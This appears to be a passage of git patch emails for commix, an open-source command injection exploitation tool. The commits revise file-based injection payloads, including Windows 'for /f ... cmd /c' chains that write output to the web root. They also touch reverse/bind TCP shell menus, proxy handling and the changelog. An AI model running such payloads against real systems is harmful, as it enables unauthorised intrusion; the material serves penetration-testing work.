menu.options.ignore_proxy: response = proxy.use_proxy(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index dbcc854207..a312d8f616 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -32,7 +32,8 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + separator ) return payload @@ -83,7 +84,8 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_SUPPLIED_CMD = cmd payload = (separator + - cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + separator ) return payload diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 282397fd0e..c8b95272d2 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,8 +150,8 @@ def https_open(self, req): opener = _urllib.request.build_opener(connection_handler()) - if len(settings.HTTP_METHOD) != 0: - request.get_method = lambda: settings.HTTP_METHOD + # if len(settings.HTTP_METHOD) != 0: + # request.get_method = lambda: settings.HTTP_METHOD _ = False response = False diff --git a/src/utils/settings.py b/src/utils/settings.py index d07cd2d9c9..ff960b4401 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1190,6 +1190,8 @@ class AUTH_TYPE(object): LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False + + # HTTP Headers COOKIE = "Cookie" HOST = "Host" From b7b9a2f9afd2029403ab97972221c52f226055c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Nov 2023 08:33:49 +0200 Subject: [PATCH 356/560] Trivial update --- .../techniques/file_based/fb_handler.py | 20 +++++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 10a77afd14..9c4e1c4b72 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -49,8 +49,11 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + tmp_path + "' as temporary directory." + print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " - info_msg += "directory (" + tmp_path + ") for command execution output.\n" + info_msg += "directory ('" + tmp_path + "') for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb @@ -80,7 +83,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - message = "Please provide the host's root directory (e.g. '" + message = "Please provide web server document root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): @@ -208,6 +211,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + settings.WEB_ROOT + "' as web server document root." + print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -369,9 +375,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'. " + message += "read and/or write files in '" + settings.WEB_ROOT + "'." + if not menu.options.web_root: + message += " You are advised to rerun with option '--web-root'." while True: - message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " + message = message + "\nDo you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -426,9 +434,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) + if not menu.options.web_root: + custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue - except: raise diff --git a/src/utils/settings.py b/src/utils/settings.py index ff960b4401..648aca13aa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d15643758c53c1555dcb73a49ba39e1078c894eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Nov 2023 18:06:43 +0200 Subject: [PATCH 357/560] Minor update regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- src/core/main.py | 5 +++-- src/core/requests/proxy.py | 2 +- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 436277bda4..318ba0aa86 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -659,8 +659,9 @@ def main(filename, url): for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() - if proxy_scheme: - settings.PROXY_SCHEME = proxy_scheme + if settings.SCHEME or proxy_scheme: + if not settings.SCHEME: + settings.SCHEME = proxy_scheme menu.options.proxy = proxy_address + ":" + proxy_port break else: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b6d707c0c9..e23ff14341 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -34,7 +34,7 @@ def use_proxy(request): opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) else: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + request.set_proxy(menu.options.proxy, settings.SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: return requests.request_failed(err_msg) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7f492d08d3..0574842b5a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -370,7 +370,7 @@ def request_failed(err_msg): continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True - return False + return True else: if not settings.CRAWLING: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 648aca13aa..cc4f1c7f37 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fc5febe34c9f1b1c7bd2208e22ea556fe9ecc3d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 Nov 2023 08:40:58 +0200 Subject: [PATCH 358/560] Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). --- doc/CHANGELOG.md | 1 + .../semiblind/techniques/file_based/fb_payloads.py | 11 +++++++---- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3efc2816f4..e6306ee10c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index a312d8f616..10fec5744f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -27,8 +27,11 @@ """ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" payload = (separator + - settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: payload = (separator + @@ -75,11 +78,11 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd) elif settings.TARGET_OS == settings.OS.WINDOWS: - payload = (separator + + cmd = cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL + "\"') do @set /p = %i " + settings.CMD_NUL ) else: settings.USER_SUPPLIED_CMD = cmd diff --git a/src/utils/settings.py b/src/utils/settings.py index cc4f1c7f37..370f2d659b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7d4112cb82a394c837c1c439f30e9deb73a66f0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Nov 2023 08:25:51 +0200 Subject: [PATCH 359/560] Minor update --- .../semiblind/techniques/file_based/fb_handler.py | 6 +++++- .../semiblind/techniques/file_based/fb_injector.py | 5 +---- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 9c4e1c4b72..5b8f0fe385 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -117,8 +117,12 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True - # else: + if menu.options.web_root: + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 6e815bd87e..00ee20b3be 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -268,12 +268,9 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: - _ = "/" - if not menu.options.web_root.endswith(_): - menu.options.web_root = menu.options.web_root + _ scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: if item == menu.options.web_root: diff --git a/src/utils/settings.py b/src/utils/settings.py index 370f2d659b..2ee8c5b88e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 19376e7d82377f3697234c476532f120d286b500 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Nov 2023 07:27:10 +0200 Subject: [PATCH 360/560] Minor update --- src/core/requests/requests.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0574842b5a..419d38f7bf 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -230,15 +230,16 @@ def estimate_response_time(url, timesec): end = time.time() diff = end - start + if settings.VERBOSITY_LEVEL != 0 and _: + print(settings.SINGLE_WHITESPACE) + if int(diff) < 1: url_time_response = int(diff) - if settings.VERBOSITY_LEVEL != 0 and _: - print(settings.SINGLE_WHITESPACE) + else: if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) - else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ee8c5b88e..9498d9bd8d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 13c94efb89202bb5168dc0c231d5ea7dc8e4e0a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 Nov 2023 07:31:29 +0200 Subject: [PATCH 361/560] Minor update --- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 5b8f0fe385..7054cdd02f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -67,7 +67,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.FILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 0c212b2201..fedeb4a59d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -50,7 +50,7 @@ """ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE diff --git a/src/utils/settings.py b/src/utils/settings.py index 9498d9bd8d..4617873c8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eab2794ab0e4a0cafedd0e7a3755dc063ab3a0bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Nov 2023 09:18:47 +0200 Subject: [PATCH 362/560] Minor update regarding "os_shell" options --- src/core/injections/controller/shell_options.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 4 ++-- src/utils/menu.py | 6 +++--- src/utils/settings.py | 3 ++- 6 files changed, 11 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 0712945e87..33f8bac32f 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -180,7 +180,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": + elif any(("quit", "exit")): logs.print_logs_notification(filename, url) raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c7f34e2f53..da27e20e44 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -273,7 +273,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": + elif any(("quit", "exit")): raise SystemExit() """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index bac0b20b53..b4c60a3863 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -34,7 +34,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -502,7 +502,7 @@ def configure_bind_tcp(separator): elif option.lower() == "?": menu.bind_tcp_options() continue - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 8c512882e0..6dd74c21b3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -39,7 +39,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -708,7 +708,7 @@ def configure_reverse_tcp(separator): if option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit": + if any(("quit", "exit")): raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False diff --git a/src/utils/menu.py b/src/utils/menu.py index d679f62fc3..36c5469af9 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -668,7 +668,7 @@ def os_shell_options(): print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") @@ -680,7 +680,7 @@ def reverse_tcp_options(): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") @@ -692,7 +692,7 @@ def bind_tcp_options(): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4617873c8f..11df8ebed0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -704,6 +704,7 @@ class OS(object): SHELL_OPTIONS = [ "?", "quit", + "exit", "back", "os_shell", "reverse_tcp", From fcb34de6dd14969224eb9a1cd111d67856e12297 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Nov 2023 08:50:18 +0200 Subject: [PATCH 363/560] Minor fix --- .../techniques/file_based/fb_injector.py | 24 +++++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 11 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 00ee20b3be..d6cd7c192c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -332,16 +332,20 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r", "") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" + + if type(response) is bool and response != True or response is None: + shell = "" + else: + try: + shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace("\r", "") for newline in shell] + #shell = [space.strip() for space in shell] + shell = [empty for empty in shell if empty] + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" return shell # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 11df8ebed0..63a64eba15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5109df4bc8df9a4e68176399b14337c90d298950 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Nov 2023 09:49:04 +0200 Subject: [PATCH 364/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e6306ee10c..db6c4a3e2b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -57,7 +57,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. -* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. +* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). * Added: New option `--answers` to set user answers to asked questions during commix run. @@ -444,7 +444,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. * Added: The ability for target application extension recognition (i.e. PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e. scheme:[//host[:port]][/]path). +* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`). * Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ @@ -489,8 +489,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. -* Added: The ability to check for empty value(s) in the defined GET, POST, `Cookie` data and skip. -* Replaced: The `INJECT_HERE` tag has been replaced with the `*` (asterisk) wildcard character. +* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the asterisk (`*`) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. @@ -567,7 +567,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). * Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). -* Added: Support for `JSON POST` data. +* Added: Support for JSON POST data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). From 59e0d2314c55e84138355eda246b0cae61c0d794 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: 